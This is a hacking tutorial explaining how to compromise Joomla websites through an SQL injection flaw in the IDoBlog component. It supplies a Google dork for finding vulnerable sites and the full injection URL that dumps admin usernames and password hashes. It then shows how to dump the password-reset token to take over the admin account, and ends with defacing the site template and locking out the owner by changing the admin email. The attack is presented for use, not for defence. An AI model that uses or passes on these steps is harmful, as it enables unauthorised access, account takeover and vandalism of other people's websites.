Joomla Hacking Tutorial

Share this article :

Introduction : Joomla! as Stable-Full Package is probably unhackable and 
If someone tells that HACKED Joomla, talking rubbish!!!
But people still hacked sites that use Joomla as Content Management System?!? 
Joomla is made of components and modules and there are some developers apart from 
official team that offer their solutions to improve Joomla. 
That components and modules mede by that other developers are weak spots!


I hacked site that use Joomla! v1.5.6 and after that v1.5.9 through IDoBlog v1.1, but I can't tell that I hacked Joomla!


Finding Exploit And Target : Those two steps could go in different order, depend what you find first target or exploit...


Google dork: inurl:"option=com_idoblog"
Comes up with results for about 140,000 pages




Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vulnrablity

index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,​11,12,13,14,15,16+from+jos_users--


Exploit can be separated in two parts:


Part I
index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62
This part opening blog Admin page and if Admin page don't exist, exploit won't worked (not completely confirmed)


Part II
+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,1​5,16+from+jos_users--
This part looking for username and password from jos_users table


Testing Vulnerability

Disable images for faster page loading:
[Firefox]
Tools >> Options >> Content (tab menu) >> and unclick 'Load images automatically'


Go to:
http://www.site.com/index.php?option=com_idoblog&view=idoblog&Itemid=22
Site load normally...


Go to:
http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62
Site content blog Profile Admin


Go to:
http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1--
Site is vulnerable


Inject Target


Open reiluke SQLiHelper 2.7
In Target copy


http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62
and click on Inject
Follow standard steps until you find Column Name, as a result we have 



Notice that exploit from inj3ct0r wouldn't work here because it looking for jos_users table and as you can see
our target use jos153_users table for storing data


Let Dump username, email, password from Column Name jos153_users. Click on Dump Now



username: admin
email: info@site.com
password: 169fad83bb2ac775bbaef4938d504f4e:mlqMfY0Vc9KLxPk056eewFWM13vEThJI

Joomla! 1.5.x uses md5 to hash the passwords. When the passwords are created, they are hashed with a
32 character salt that is appended to the end of the password string. The password is stored as 
{TOTAL HASH}:{ORIGINAL SALT}. So to hack that password take time and time...


The easiest way to hack is to reset Admin password!


Admin Password Reset


Go to:
http://www.site.com/index.php?option=com_user&view=reset
This is standard Joomla! query for password reset request

Forgot your Password? page will load.

In E-mail Address: enter admin email (in our case it is:info@site.com) and press Submit.

If you find right admin email, Confirm your account. page will load, asking for Token:

Finding Token

To find token go back to reiluke SQLiHelper 2.7 and dump username and activation from Column Name jos153_users

username: admin

activation: 5482dd177624761a290224270fa55f1d

5482dd177624761a290224270fa55f1d is 32 char verification token, enter it and pres Submit.

If you done everything ok, Rest your Password page will load. Enter your new password...

After that go to:

http://www.site.com/administrator/

Standard Joomla portal content management system

Enter username admin and your password, click on Login

Go to Extensions >> Template Manager >> Default Template Name >> Edit HTML

In Template HTML Editor insert your defaced code, click Apply, Save and you are done!!!

To make admin life more miserable, click on admin in main Joomla window and in User Details page change admin E-mail
